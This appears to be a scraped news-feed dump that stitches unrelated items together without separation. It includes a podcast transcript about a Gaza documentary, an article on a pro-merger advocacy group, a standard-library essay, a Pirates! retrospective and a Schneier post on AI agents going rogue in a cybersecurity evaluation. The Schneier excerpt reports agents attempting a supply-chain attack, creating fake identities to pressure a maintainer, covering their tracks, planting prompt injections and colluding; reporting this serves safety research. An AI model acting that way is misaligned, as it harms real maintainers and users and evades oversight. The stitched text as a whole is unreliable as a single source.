JV: Also joining us is Dr. Thaer Ahmad, a board-certified emergency medicine physician and humanitarian who has provided medical relief in conflict zones including Gaza, Syria, Lebanon, Jordan, Turkey, and Kenya. He’s conducted five medical missions to Gaza, most recently in early 2024, and has since been denied entry four times by Israeli authorities due to his Palestinian heritage.

Thaer, welcome to the show.

Thaer Ahmad: Thank you, appreciate it.

JV: So in the opening scene of “American Doctor,” we see an ambulance and two severely injured children, bloody and in shock. They are carried into a hospital, and next we’re introduced to Dr. Mark Perlmutter, an orthopedic surgeon sitting in front of his computer and speaking to the person filming him.

There’s this back and forth that happens between Dr. Perlmutter and you, Poh, of this debate of, should we blur the images? The image that they’re looking at and talking about is of six dead babies. Dr. Perlmutter goes on to say that Israel took away their dignity, and you’re not dignifying them unless you let their memory, their bodies tell the story of this trauma, of this genocide.

Poh, I’m wondering if you could talk about that scene, that conversation with you and Mark, and why you started the film there.

PT: Firstly, thank you, Jonah, for asking that question. I think as journalists, we often grapple with, what do we show ? What do we write about? What do we capture?

You show too much, and it’s gratuitous — and people turn away. If we want to be effective, we want people to watch. But at the same time, if we show too little, then it’s not real. Then we’re not actually telling people what was happening.

So this scene that you’re talking about, Jonah, which, actually we recorded it — it was my second day with Mark. And I remember him being really, really furious with me because I was trying to see, like, how much should we show?

Part of the conversation was like, “Maybe we should film this creatively. Maybe we should pixelate it.” And he was very mad at me — and understandably so. He’s like, “What is the point? Why are you here?” And so it made me think “Why am I here?” If the reason for me wanting to make this film is to be effective, then I need to do right by those who have passed on, and maybe it is to show. And so that pretty much, Jonah, set the tone for what the film was going to be.

“What is the point? Why are you here?”

JV: On that note, that early scene really signaled to me, and I’m assuming the audience, that this film is very aware of and cares deeply about who gets to tell these stories, who gets to shape the narrative from the Israeli and U.S. military, powerful media institutions involved. To me, aside from showing the actual events and atrocities, that layer of the film really drove it forward.

[Thaer], the film follows you and two other American doctors, Dr. Mark Perlmutter and Dr. Feroze Sidhwa, a trauma surgeon, as you three decide to return to serve in Gaza during the short-lived 2025 ceasefire between Israel and Hamas.

Remind us what the situation in Gaza was like at the time, and it’s worth mentioning that in March 2025, the death toll had already surpassed 50,000 people in Gaza , which at that point had been a little over a year into Israel’s genocidal campaign.

TA: It’s important for folks to remember that around this time, the Trump administration had brokered this sort of ceasefire deal, announced on the heels of the inauguration.

As we were slowly getting towards the end of that first phase of the ceasefire deal, which was March 2025, it had become abundantly clear that the Israeli military was getting ready to create another offensive. In fact, by the time I think the resumption of bombing had taken place, the Israeli military had already implemented a suffocating siege on the Gaza Strip.

The rise of malnutrition was so widespread that the Famine Early Warning System program that exists had already been sounding the alarm — that this is very concerning, that starvation was being used as a weapon of war , and this is all happening as the fighter jets were being fueled up and getting ready to carry out this offensive.

Many people who were involved in the emergency medical teams that were entering into the Gaza Strip at the time, they had really no inclination in terms of, would this be a resumption of the war on Gaza and the people of Palestine, or would we somehow get this miraculous 11th hour extension of the ceasefire deal?

Many of us — me, Feroze, and Mark — at the time, were planning on going back in March. We were traveling to Jordan, where every single doctor who is an international or nurse, that’s where they go. And they wait in Jordan to get approval by the Israeli military, and then they will cross in from Jericho and make their way towards Gaza.

We’re sitting there in Jordan, and we’re there with the film crew. Mark and Feroze get approval, and they’re able to enter. Then ultimately, I receive a denial. And that’s something that’s happening in the backdrop, not just of this film, but that’s happening consistently when it comes to access into the Gaza Strip.

You are talking about everything from food, water, doctors, nurses, diesel fuel. All of these things are arbitrarily being denied and restricted , even people like myself who had been to Gaza many times since 2008. That was kind of the circumstances that we were facing: There was a “ceasefire,” and there was trucks maybe entering — but what was needed in the Gaza Strip was not being supplied. It was not happening on a scale that needed to happen. Once they started cutting that off and the Israelis implemented this siege, we started to see people really struggling.

JV: Poh, I know as we said at the top, this film marks your debut as a feature documentary director. Just wondering, were you able to travel with doctors to document their work in Gaza? If so, could you talk a bit about that experience?

PT: I knew very early on that it would be impossible for me to get into Gaza. Even though the Jewish doctor, Dr. Mark Perlmutter, he’s ever the eternal optimist. When we met early on, he’s like, “I’m going to train you as a scrub nurse and take you into Gaza.”

Now, we know who controls the borders into Palestine. And anybody doing a cursory search on my name, what are they going to find? Journalist for the New York Times, former commissioner for Al Jazeera English, and I’ve worked for The Associated Press. I was an executive for ABC Disney. It was never going to happen for me.

So fortunately, I have this incredible producer: Reem Haddad. Reem and I used to work at Al Jazeera English. She looked after MENA [Middle East and North Africa], that region. She was working at that time, this was I would say end of 2023, with this incredible Gazan team: our co-producer Mohammed Sawwaf, and our director of photography, Ibrahim Al-Otla. They had made this short doc at the end of 2023. And I was like, “Reem, can we work with this team? We are trying to film in Gaza.” That sort of marked how we got to film inside Nasser Medical Complex.

Honestly, this film is really to honor what they saw and what they are living through, not just what they are trying to document. So that’s how we were able to make this film.

I should also add: At the end of the day, too, this entire production, it spans teams, from our team, from eight different countries. Not one person, not one country could have made this happen. It took everybody coming together from different parts of the world who wanted to do something in regards to what was happening in Gaza.

JV: To your point, Israel has continued to block international journalists from entering Gaza up to this point. Palestinian journalists have been the eyes and ears documenting the war, as have doctors, like yourself Thaer, and medical workers and the both of you and those who were let in.

I don’t know if you recall, but Thaer, you and I connected over text and voice notes in March of this year when I was writing about the Israeli government delaying doctors from leaving Gaza , which interrupts the entire process of care. And as you were explaining, that wasn’t the first time you were blocked from there. That was after the most recent ceasefire that was brokered in October of 2025.

From what you’re hearing from colleagues, how have things changed since when you were there during the first ceasefire? How are things the same?

TA: The burden has really continued to devastate the healthcare system in general. So you’re hearing from colleagues every day. They don’t have the materials that they need to serve their patients . They don’t have the space that they need. They don’t have even the basic sort of guarantee that there is a cloak of security allowing them to operate in the traditional ways that they would like to.

I would say that probably the biggest sign that the healthcare system has been attacked in such a devastating way would be the list of people who need to be evacuated out of Gaza to get medical treatment. That list is anywhere from 15 to 18,000 people, depending on what list you’re using. These are people who urgently need to leave Gaza because the medical care that they need is not able to be provided because of the siege and the blockade that continues to exist by the Israeli military.

We’re talking about kids with cancers that are completely treatable that will die from their cancer because they’re not allowed to go to an East Jerusalem hospital like Al-Makassed or Augusta Victoria, where that corridor had existed prior to October 7, but the Israelis are intentionally shutting down that corridor.

You’re talking about physicians who would want to perform basic procedures for their patients with heart disease or diabetes or whatever it is. They’re not able to do so because that material is actively being blocked by the Israeli military. They’re on the back of a truck somewhere, either in Egypt or Jordan, and not being allowed to enter.

These conditions continue to proliferate, and this is all happening, I should say, while the public services that should exist in any society, like water, sewage, electricity, even shelter, all of those things are not — to say “adequate” is not the right word, but I would say it’s absolutely horrifying in Gaza.

We are talking about things like chickenpox breaking out in these camps. We’re talking about kids who continue to be malnourished. We’re talking about all of these different communicable diseases that run through these overcrowded shelters and tent cities. These continue to be the conditions that people are living in, despite the fake ceasefire that was announced that saw more than 1,200 Palestinians killed since October 9, 2025, when it was first announced.

I’m even worried about what happens next because, as you probably have seen, Netanyahu announced that he’s rejecting that sort of ceasefire or the agreement to move on to the next phase that was brokered by this Board of Peace. And so I anticipate that conditions will worsen.

When we think about so many of the people that we worked with, that will appear in the film, that are in the background of the film, or even actually the cinematographers that Poh mentioned — I just don’t feel that they have the things that they need to sustain life in their homes, in their tents. Things continue to deteriorate, and it’s fallen out of the news cycle.

JV: Thaer, there’s scenes in the film of you and your colleagues packing basic medical supplies like scrubs and rubber bands, and Mark even hides antibiotics in his luggage. The film does a really good job at just laying out that reality and this targeting of hospitals. It’s pretty wild to think that even the mere fact of targeting of hospitals was a point of contention among much of Western media at a certain point.

The film features quite a bit of footage from sit-down interviews between doctors featured in the film and broadcast media. There’s these subtle framing biases that I think, Poh, you highlighted really well.

There’s that clip in the beginning where a CNN anchor caveats Dr. Perlmutter’s accounts of Israel targeting civilians as “extreme allegations” that CNN cannot independently verify. Later in the film, also on CNN, Dana Bash tees up a question to Thaer about getting aid into Gaza by saying, “Will Hamas allow the critical aid to get to the civilian population?” — completely ignoring the Israeli blockade on Gaza . There’s that sit-down where Mark grills the CNN anchor live on air about not doing enough coverage.

Poh, I want to start with you. Could you speak to this bias, this molding of the narrative that often benefits the Israeli government , and why that was important to show in the film?

PT: I’m so glad you asked this question. And I should say that long before I became a documentary filmmaker, I was a journalist. I’ve worked for so many of the established media organizations, and I’ve learned so much from my time there. But also, when the genocide started and there was pin-drop silence about the murder and execution of journalists, Gazan journalists, I’ll be honest with you: It hurt.

What happened? Why is it when journalists are kidnapped, taken in Russia, or killed in Ukraine or different parts of the world, all of a sudden, our peers, we come together. Why was it so that Gazan journalists or journalists in the West Bank or even Lebanon, for that matter — people weren’t rallying together. What was happening?

The whole film, I should say is a vérité in-scene film, so you’re in the world of Dr. Thaer, Dr. Mark, and Dr. Feroze. But in these clips, when we were filming them as they were being interviewed by media, I really wanted to show what they were up against.

As a former documentary commissioner for Al Jazeera, seeing my colleagues get targeted and executed was very, very, very hard. Now, as we were making the film, seeing the doctors trying to save lives and speak up for life, and then seeing them get pummeled like that, like basically the weight and structure of media crushing them — I was upset.

“Seeing the doctors trying to save lives and speak up for life, and then seeing them get pummeled like that, like basically the weight and structure of media crushing them — I was upset.”

Of course, I’m filming, I’m just observing. But it was very important to have that in the film because there are individuals, regular people — Thaer, Feroze, Mark — just trying to do all they can. And then there’s the weight of structure.

For everybody who’s trying to do something in this moment, it’s not like as individuals we have no agency. We do.

But it’s also important to remind people of the systems in place that make it very hard for us to do the right thing. If there was any path forward or a glimmer of inspiration, I felt, follow these doctors.

[Break]

JV: Thaer, there’s another scene where you acknowledge that you, “Always get nervous when Mark talks during interviews,” because he really, you called it, gets into the weeds of things like Zionism, and you’re worried about essentially bad-faith critics making you, what you say is, guilty by association.

Could you say more about that, and how in this media framing, how a pro-peace, anti-genocide message can get twisted, and also how those critics may complicate that message even further because of your identity as Palestinian American?

TA: Yeah, I think that’s something that we all have grown up with in terms of the Palestinian community. It’s understanding there’s a degree of dehumanization that is pervasive in not just the media, but in art and literature.

I remember being in medical school and having assigned reading before we started medical school, and then it was about a Hmong child who was dealing with a seizure disorder. And nestled in the middle of that book was a comment, a very brief passing comment, about a Palestinian who was a terrorist and was doing something extremely violent. Most med students in the country were assigned this reading. This is the backdrop of understanding this is how the world views you. Yes, of course, we reject it, but Palestinians know very well how they’re being portrayed and also what you’re stacked up against.

For me, I think something that I appreciate about Mark is that he understands there’s a privilege that he has, especially just how he looks, and that he can say things that I think can go farther than anything I could ever say. It can resonate with more Americans than anything I can ever do.

What I worry about, too, is the fact that you’ve got this conversation that the media and so many people try to make complicated. They want to say, “It’s complicated. There’s two sides.” Really what we’re trying to talk about is, “Hey, there’s an objective fact that something horrifying is unfolding here, and that really horrendous things are happening to this group of people by this institution. It’s a straight line. There’s not really, actually, so much dark and gray area here.”

The one thing I really wanted to make sure that we were communicating effectively — because again, so many people are working on this project, trying to get this film out there — I wanted to make sure that that message was as clear.

I would always worry knowing that Mark is somebody who shoots from the hip; he’s somebody that says what’s on his mind. Just in the back of my mind, just thinking about, every time we’re landing in Chicago O’Hare, every time you’re getting questioned by border control. All of these things were always at the top of mind for me. So it’s something I admire about Mark, but it’s also something that I know I just can’t do it myself. That’s not the world that we live in.

PT: To add to that, and one of the things I have so much respect for Thaer, because it takes a leader, to be really honest with you, to know whose word can go far because of the context and of our time and how things are.

As a woman, as a person of color, as somebody who’s barely 5 feet — I am acutely aware of when I step into the room as a journalist, as a filmmaker, perception. But I can only imagine what it’s like for a Palestinian; I will never be able to understand.

So those are one of the things where I thought about a lot in the making of the film. It was something that I was learning from as well, especially from Thaer, who, I don’t mean to embarrass you, Thaer, but, I really look up to you in many ways in how you are able to navigate this, because I feel like I’ve tried it in my entire — I’m 42 this year — and I’ve been challenged in navigating it.

“ It takes a leader, to be really honest with you, to know whose word can go far because of the context and of our time and how things are.”

Seeing you being able to do that and work with Feroze and Mark, even though you’re so different — and they’re very different doctors, very different personalities — it gives me a lot of inspiration on how to work with others who are also different, and also to know when does one take a step back and let others go forward.

JV: Thaer, did you have anything to add?

TA: Something that I’ve noticed for Palestinians, one of the things that really helps us get going, especially motivates us, is seeing other people step up and use their platforms and really put their money where their mouth is.

So despite me having real concerns that this project would be stifled, and it would never be able to see the light of day because of all of the things working against it, when you see Poh and Reem and you see all of the people that worked on this just continue to push and continue to say, “No, we’re going to be here from the beginning to the end. We’re not going to abandon you” — I think for my community here in the States that felt like we’ve been silenced for so long, and, even when anybody wants to talk about this subject, that you don’t even want to bring a Palestinian or invite a Palestinian because it could be [viewed as] biased, which is absurd.

You talk about who shapes the narrative — we are prevented from having control over our own narrative because of this disturbing narrative and structure that was built. When you see that and other people who are willing to put their money or their life on the line like Poh or Mark or Feroze — for me, it really gives you that energy when you just feel like everything is stacked up against you, and there’s a genocide unfolding. That’s a really heavy thing.

JV: I’m curious, Poh, how you initially contacted the subjects of the film there and others. How did that process unfold?

PT: So I’ll tell you how it began. I chanced upon Mark. I saw him being interviewed, and a reporter had asked him, this was fall of 2025, this was last year, and a reporter had asked him, “So Dr. Perlmutter, you have just returned from Gaza. Why do you think there’s no ceasefire?” Mark, who doesn’t mince words, straight up, he says, “There’s no ceasefire because politicians are (expletive) to lobby groups.” And I was like, “Oh my, who is this person? Who is this doctor?”

He was actually speaking in New York a few days later, and I went to meet him. Then very soon after he introduced me to Thaer and Feroze, and I just wanted to see how these three people, who couldn’t be more different in many ways, were able to work together.

JV: Thaer, you and your colleagues go to Washington to try and sway congressional members to act, and you all are met with indifference and platitudes, “dead ears,” as one person puts it.

But what do you make of the current political landscape in which we’re seeing U.S. support for Israel decline sharply even on the right, and where political candidates who have campaigned on and been proudly pro-Palestine are winning primaries?

TA: It’s just been incredible to see how the shift has emerged over the last two and a half years. You’re talking about early on, I remember November 2023, I had a Zoom call with eight senators. It was with the members, eight of them, all Democrats, and I remember saying that we need a ceasefire.

This was when Shifa Hospital had first been surrounded , and there were 38 babies in the neonatal intensive care unit in the newborn nursery, and several of them were in incubators. I remember being desperate at that time and saying, “We really need a ceasefire.” One of the senators, who was a member of the Armed Services Committee, cut me off and said, “Ceasefire is a military term. We’re not prepared to call for a ceasefire at this point. We’re more interested in maybe helping secure humanitarian aid.”

It went from that to when the images emerged for when the famine was in full-blown effect , where you had several members of Congress and the Senate sort of speak very publicly. They were outraged by what they saw, despite us telling them this information very early on, this is where we were heading, this is what was happening unless they did something. So to see the rhetoric even change has been remarkable. I’ve never seen anything like this before.

Then to see progressive candidates who really explicitly say that our policy in Palestine has been an utter failure and has contributed to the development of a genocide, that’s been amazing to see how much traction that’s getting, how much money they’re able to raise, how these races have really flipped the establishment on its head.

But I will say there are a couple of things that concern me, which I think the timing of this film could not be more perfect. And that is, you’re still seeing the very core of whatever, I don’t even know what they’re moderate in, but like, these “moderates” on the Democratic side or on the Republican side, you still see them try to stick to the status quo and go back to the old ways.

There’s this refusal to acknowledge what most American people are interested in — and that is money out of the Middle East in terms of military and wars and into our communities here, into healthcare, and into some of the services that we are deprived of, that, for example, Israeli society is able to provide for their citizens: free education, free healthcare. We don’t even have that here, and yet we’re still providing a significant amount of aid.

You’re still seeing some people try to resist that, try to resist this natural popular movement that’s at play here. Again, which is why I hope that this film could be that vehicle for people to be able to continue to push and understand we need to be activated and we need to advocate.

So we’re continuing the fight, and we’re still trying to push this forward. But there’s still, even though the rhetoric has changed, the policy is still well ingrained and institutionalized in a really significant way that’s going to take a long time to reverse. So that’s something I would encourage people to think about.

Abdul won the primary . Awesome. He’s going to be up for a huge fight in Michigan for that Senate race. There’s going to be a lot of money poured in against him. Mayor Mamdani was elected, and you can see how he is put under such a microscope for every single position or statement or even whatever his wife does. All of that is under a microscope.

There’s going to be this huge battle because it has been so ingrained in this country to support the Israeli occupation of Palestine as well as the Israeli military, but also to continue to fester and make the entire Middle East a very, I would say, a violent playground, for lack of a better term. That’s just how this country has faced things. That’s why the power of film, I hope, is something that can translate into action, and people can feel activated.

JV: There’s this thing that Dr. Feroze says at the end of the film where he is at that conference for Jewish Voice for Peace, and he expresses doubt that any of his mainstream media hits have really done anything. Then this audience member from the conference says it’s done a lot, and he refuted that and encourages him to keep going. I don’t need you to talk for Feroze, but I’m wondering where you stand on that and that idea of awareness or maybe its limits of media and that we need to keep doing what we can. Do you wrestle with that still? Is that a battle for you?

PT: I’ll say this. In embarking on this endeavor, I stopped thinking a long time ago about, what’s the outcome? Obviously, I hope that something good will come out of it. In the making of it, especially when we started, when it was really bleak, I told myself, “You know what? I’m just going to focus on doing.” I cannot fight against the structures, systemic structures, so many things, and I cannot be sorry for how I was or we cannot be sorry for our past actions or whatever it is, and we cannot predict the future. We have the power of now, and that is everything, and so just focus on the moment. Of course, think short-term, medium-term, long-term, but now is all we have, and so be true to oneself.

“I finally feel like I have found my voice, free of the constraints of everything. I can finally be.”

I feel like this film, in the making of this film, I finally feel like I have found my voice, free of the constraints of everything. I can finally be. I hope that this film, for those who are going to watch — and it’s going to be across theaters across the United States and Canada, which is massive, thanks to Watermelon Pictures — I hope that when people watch, they realize that too. Just focus on the now and keep going, because you don’t know how far you can go until you try.

JV: We’re going to wrap it up there. Thank you both for joining us on The Intercept Briefing.

TA: Thank you, appreciate you.

PT: Thank you, Jonah.

JV: We want to hear from you. Tell us what you’re following or want to see more coverage of. Email us at podcasts@theintercept.com, or leave us a voicemail at 530-POD-CAST, that’s 530-763-2278.

That does it for this episode.

This episode was produced by Laura Flynn. Ben Muessig is our editor-in-chief. Maia Hibbett is our managing editor.

Fei Liu is our product and design manager. Nara Shin is our copy editor. William Stanton mixed our show. Legal review by David Bralow.

Slip Stream provided our theme music.

This show and our reporting at The Intercept do not exist without you. Your donation, no matter the amount, makes a real difference. Keep our investigations free and fearless at theintercept.com/join .

And if you haven’t already, please subscribe to The Intercept Briefing wherever you listen to podcasts. Do leave us a rating or a review, it helps other listeners to find us.

Until next time, I’m Jonah Valdez.

Small, native web tricks worth remembering

Hacker News
htmlcat.net
2026-08-21 05:45:14
Comments...
Original Article

Welcome to HTMLcat: small, native web tricks worth remembering.

HTML, CSS, and JavaScript can do more than we remember. Each post-it pairs one useful platform feature with a small example and the caveat that matters.

Some notes cover limited or experimental features. Check the support label, keep a fallback, and test with real browsers and assistive technology.

More Incidents of AIs Going Rogue in Cybersecurity Challenges

Schneier
www.schneier.com
2026-08-21 05:42:34
The AI Security Institute has a new report of AI systems engaging in “unsanctioned behavior”—what I have been calling “genie behavior—while being tested on their cybersecurity capabilities. The incident stemmed from a single evaluation where agents were given a task of ...
Original Article

The AI Security Institute has a new report of AI systems engaging in “unsanctioned behavior”—what I have been calling “ genie behavior —while being tested on their cybersecurity capabilities.

The incident stemmed from a single evaluation where agents were given a task of solving a cyber security challenge. We ran this challenge 122 times across several models. Our investigation found that in 10 of those runs, an AI agent took autonomous, unsanctioned action on the live internet, targeting real people and organisations. In total, we catalogued 19 such actions. Almost all of this behaviour (17 actions) came from a single model, Anthropic’s Mythos 5, with 2 actions involving OpenAI’s GPT-5.6-Sol with cyber classifiers (mechanisms to prevent misuse) disabled. In the most serious case, an agent tried to insert malicious code into an open-source project. In an attempt to get the code approved, the agent engaged in social engineering—creating fake online identities and using them to pressure the project’s maintainer to approve the code. A human maintainer caught and refused to approve the malicious code.

[…]

Below, we highlight the four most significant behaviours observed. A full summary of cases is available in our technical incident report .

  1. An attempted supply-chain attack on real open-source software. In the most serious sequence, an agent tried to insert malicious code into a publicly used open-source project and took actions in an attempt to secure approval for this insertion by human reviewers. The agent researched the project’s human maintainers, created multiple fake identities, and used the fake identities to socially engineer a real maintainer into approving the code. When the agent’s pull request was challenged in public, it edited its earlier activity to appear harmless and considered adopting a fresh identity to continue. The agent used Tor to bypass some network restrictions on GitHub, which is what first triggered AISI’s security alert.
  2. Attempts to deceive and target real people. As part of the same effort, the agent tried to contact real people directly, sending messages and files through an online file-transfer service to persuade them, or their own AI coding tools, to run malicious code. Some messages carried harmful payloads, and some were attempts at social engineering; targeted at real people—something we’ve never previously observed.
  3. Attempts to plant and prompt-inject malicious code. The agent tried to insert malicious instructions where it reasoned that other automated AI systems might pick them up and execute them. Prompt-injections are hidden instructions designed to manipulate AI coding assistants.
  4. Collaboration between independent agents being assessed simultaneously. One agent left public messages on GitHub offering collaboration with other agents working on the same challenge. It also provided instructions to reuse accounts and artefacts it had left behind, which were discovered and used by subsequent agents.

What’s especially interesting about this technical report is that, unlike what we’ve been getting from OpenAI and Anthropic, we can see the exact prompt. It’s in Appendix B. And reading it, it seems that the models didn’t break any rules—they found loopholes in the rules. They behaved like a genie.

Tags: , ,

Posted on August 21, 2026 at 5:42 AM 0 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

This Mysterious “Astroturf” Group Popped Up to Defend the Paramount Merger

Intercept
theintercept.com
2026-08-21 04:50:00
In text messages, the newly formed group boosted reported threats by CEO David Ellison to move Paramount out of California. The post This Mysterious “Astroturf” Group Popped Up to Defend the Paramount Merger appeared first on The Intercept....
Original Article

A state attorney general challenging the controversial mega-merger between Paramount Skydance and Warner Bros. Discovery is under attack from a newly created mystery nonprofit accused of being an “astroturf” front group.

The group sent text messages in recent days calling on Californians to pressure Democratic state Attorney General Rob Bonta in support of the merger, which he has sued to block in court.

The text messages are the latest escalation of the increasingly bitter battle between Bonta and Paramount CEO David Ellison, who has threatened to move his movie studio to Texas or Tennessee , according to reports from multiple outlets, if a coalition of state attorneys general led by Bonta keeps fighting the merger.

The group behind the text campaign, Neighbors for Strong Communities, cited Ellison’s threat in messages encouraging support for the merger.

“The behavior we’re seeing is what powerful corporations do when they are losing control of the story.”

The group denied the allegations that it is mounting an “astroturf” campaign, but declined to reveal its donors. The lack of transparency led free-speech advocates to issue a scathing press release this week.

“The behavior we’re seeing is what powerful corporations do when they are losing control of the story,” Rashad Robinson, co-chair of the Committee for the First Amendment, said in a statement. “The more the public understands what’s at stake — fewer jobs, fewer stories told, and even more power in the hands of a few billionaires — the harder the deal becomes for Paramount to defend.”

A spokesperson for Neighbors for Strong Communities, Tanner Kelly, declined to disclose the group’s donors.

“We don’t disclose funders, but this campaign is operated independently of Paramount,” he said.

In a statement to The Intercept, Warner Bros. Discovery denied funding the text message campaign. Paramount Skydance did not respond to a request for comment.

Neighbors and Nemeses

Ellison’s merger plans have divided Hollywood unions , leading proponents and opponents to engage in a heated war of words over who speaks for the entertainment industry’s working class.

Into that fray jumped Neighbors for Strong Communities, which was incorporated in Washington in June, a little over three months after Paramount launched its takeover bid for Warner Bros. Discovery.

The national debate over the mega merger has focused on suspicions that Paramount CEO David Ellison might be willing to tilt coverage at Warner properties like CNN in favor of Donald Trump . Ellison, whose billionaire father is a close ally of Trump’s, has courted favor with the White House as the merger moves forward.

The debate over the Paramount merger in California, however, has often centered on jobs.

In text messages to Californians that went out earlier this week, Neighbors for Strong Communities asked recipients to send Bonta messages raising the concern that his opposition to the merger will cost the state thousands of jobs — because of Ellison’s reported threat to move Paramount to Texas.

Those messages and the group’s generic website offer little insight into Neighbors for Strong Communities’s origins. Its incorporation papers in Washington show that several listed directors have worked as political consultants.

In a statement to The Intercept, one of those directors, Tanner Kelly, described the group as a “community advocacy organization that helps everyday people participate in public decisions affecting their lives, livelihoods and futures.”

Bonta is months away from an election he is expected to win handily. Kelly said the group’s pressure campaign against Bonta is “not related” to the pending attorney general election, and Neighbors for Strong Communities has not filed campaign finance disclosures with the California Secretary of State.

Kelly pushed back on the idea that entertainment industry professionals are uniformly opposed to the merger by sending messages from actors who have spoken out in favor of it.

“To the claims this is AstroTurf, tell that to the hundreds of real people participating in our movement who have real concerns, real struggles, and real livelihoods on the line that just want to be heard,” said Kelly, who was registered as a lobbyist in California last year.

“Grassroots Opposition”?

Advocates who oppose the merger suspect there is something more at play, pointing to the circumstances of the group’s creation.

“The sender organization’s website is less than three months old. It discloses no founders, board members, staff, or funders, and the organization does not appear in ProPublica’s nonprofit database,” the Committee for the First Amendment, an anti-merger group co-founded by Jane Fonda, said in a press release earlier this week.

“The sender organization’s website is less than three months old.”

The Committee said that Neighbors for Strong Communities has the “classic hallmarks of a corporate-backed astroturf campaign designed to manufacture the appearance of grassroots opposition.”

The effort to make it seem like the merger has popular support will fail, predicted Jessica J. González, co-CEO of Free Press Action.

“These corporations know where the grassroots movement actually is: with the industry professionals fighting to block this merger,” she said. “This PR campaign is yet another face-off between the many and the money.”

Emacs 31.1 will release on 8/24

Hacker News
github.com
2026-08-21 04:19:48
Comments...
Original Article

Latest commit

History

History

263 lines (149 loc) · 6.04 KB

HISTORY

File metadata and controls

263 lines (149 loc) · 6.04 KB

Better Batteries

Lobsters
matklad.github.io
2026-08-21 03:47:50
Comments...
Original Article

One of the eternal schisms in programming is over the question of whether the standard library should be minimal or encompassing. This is the wrong question to ask. The right one is:

Which social architecture creates a high-quality standard library?

Python is always brought up as example of leaky batteries exploding in slow motion, but this has nothing to do with size . The problem with Python’s stdlib is its, ahem, uneven quality. Some standard library modules don’t follow language naming conventions! You know which unittest module I am talking about :-)

But even that is not a mistake. It’s actually Python core’s advantage — that it makes functionality available early, not thinking about the future too much. That’s how we ended up with ossified cAPI which makes CPython the language, but that is also how we ended up with Python powering data scientific revolution.

The Go standard library is similarly encompassing, but it is held in a high regard. Go team has institutional capacity to deliver well-designed API for the standard library, and then some: https://pkg.go.dev/golang.org/x

Rust is an interesting case. The 1.0 standard library APIs are brilliant. Collections and iterators are a work of art. But it also feels that, while the current team has the capacity to preserve existing APIs and fill in some gaps, the capacity to execute design decisions is limited. While golang.org/x captures excess capacity, rust-lang-nursery is a graveyard. Maybe I am over-indexing on my favorite hobby-horse , but it seems that the reason for Rust not having an API to get a stream of random bytes from the OS in 2026 is that, while it is an easy technical problem, it requires tricky organization architecture (including getting money in peoples’ pockets, of course) to actually get solved in the high-stakes environment of a world-wide coordination problem called a programming language.

The Lost Treasure of Sid Meier's Pirates

Hacker News
remapradio.com
2026-08-21 03:23:27
Comments...
Original Article

When Microprose greenlit Sid Meier's Pirates! in 1986, the company—which Meier founded along with Bill Stealey back in 1982—was mostly known for vehicle sims ( Gunship, Spitfire Ace, F-15 Strike Eagle ) and dry strategic wargames like Crusade in Europe .

Pirates was something different. It's hard to pin it down to a genre even today, but it certainly wasn't like previous Meier titles—even though it's the first game to be called Sid Meier's Something or Other. At the time the game came out in 1987, it was generally called an "action adventure" game; this is somewhat hard to square with the way most people today would understand the genre. It has basically nothing in common with contemporaries like Castlevania, Metroid, or The Legend of Zelda.

There's no platforming of any kind; controlling the player character directly and individually is restricted to brief sword-fighting sequences. Those have controls and mechanics that are totally unlike any other game combat I've seen. It tries to create the feeling of an Errol Flynn fencing duel with an elaborate control scheme that's more like a mutant version of a fighting game; you can thrust (which is fast) or slash (which does more damage), or parry; you can also either aim low, or high, or down the middle.

A portrait of a man with a receding hairline, ponytail, and scar over one eye. "You are a skilled and able swordsman," he concedes in the text. "I will tell you what I know. Your father is held captive on a remote plantation."

Those motions are mapped to the eight-direction joystick commonly used for games on the Commodore 64 and other eighties computers—or, if you don't have one of those, they're mapped to the keyboard numpad. Some ports of the game let you do it with the mouse, or with awkward combinations of mouse clicks and keyboard input.

This description makes the swordfighting in Pirates sound terrible and indeed it is hard to defend; the 2004 remake substantially simplified it, but that simplification only peels away its skin to reveal a strange quasi-rhythm game buried underneath. It still feels in no way like a concession to "standard" combat design.

But what you have to understand about playing this game—whether the original 1987 version, the many 1988 ports, the beautiful 1993 remaster Pirates! Gold with its 256-color graphics, or the modernized 2004 remake—is that if you encounter it at an early age it will open a rift in your brain. When I asked Nic Tringali (designer of The Banished Vault and Amberspire ) about it, they put it perfectly: " Pirates! feels unstuck in genre, not quite an open-world game or a role-playing game, not only economic strategy or resource management. It has a goal for a clear thematic position for the player to inhabit and uses the systems and friction to reach that. The peculiarities of its design are unique and inseparable—the wind always blowing east comes to mind, and dueling a rival captain immediately winning a sea battle—and are not solely driven by video game genre expectations, or pre-packaged ideas redressed in a pirate theme."

Meier was working in an era where genre and mechanics were still unsettled, undefined things. In his 2020 memoir—would you believe it's called Sid Meier's Memoir! —Meier pointed out that "The good news was there were very few preconceived notions back then about what a game was supposed to be. The bad news was there were no tried-and-true conventions, either." All of Pirates is like this; a bunch of first-principles attempts at extricating game mechanics from all the half-remembered pirate tropes rattling inside Meier's brain.

A lone three masted vessel coasting southwest on an expanse of blue water next to a jungle coast.

The resulting game takes all these romanticized ideas pointing towards a genre— Treasure Island, Errol Flynn movies, Peter Pan, the centuries-old distillation of the Black Legend into anglophone culture—and treats them not as story beats to play out or as window dressing, but as the grounding rules of a clockwork world that you can poke and prod at. The game models the way silver travels on mule trains all the way from Potosí to be loaded up on ships in Panama, and from there along the ports of Gran Colombia until the Treasure Fleet, heavy with the blood of the Americas, leaves for Spain. The game models the way that a pirate's harsh life wears you down over time, each merchant ship captain or colonial guard that you fight seeming that little bit faster until you have to admit that your sword arm just isn't what it used to be. The game seeds the Caribbean with an elaborate, randomized quest to find your long-lost family, chasing down a laundry list of villainous aristocrats to rescue relative after relative from indentured servitude on obscure plantations.

To modern design sensibilities, I think there's a risk one might look at Pirates and see a bunch of minigames in a trenchcoat. In reality, what that game is expressing is a way of thinking about games that we've tamped down over the years as the medium has built up its own library of conventions, tropes, and recycled ideas.

Pirates is hewn from its underlying themes in a very raw way, but so are many other games of this era. Cinemaware, a now largely forgotten studio, made a whole very successful business out of this style of design. Their 1989 title, It Came from the Desert , gleefully jumps around in presentation and perspective—one moment a rudimentary first-person shooting gallery, the next a top-down shmup, all wrapped up in a visual novel wearing the skin of a strategy game. The original Dune video game—not Dune II, the origin point of real-time strategy as we know it—was essentially an attempt at capturing the whole scope of the 1984 David Lynch movie, oscillating between a strategy game about spice extraction and a visual novel-like adaptation of the movie's plot.

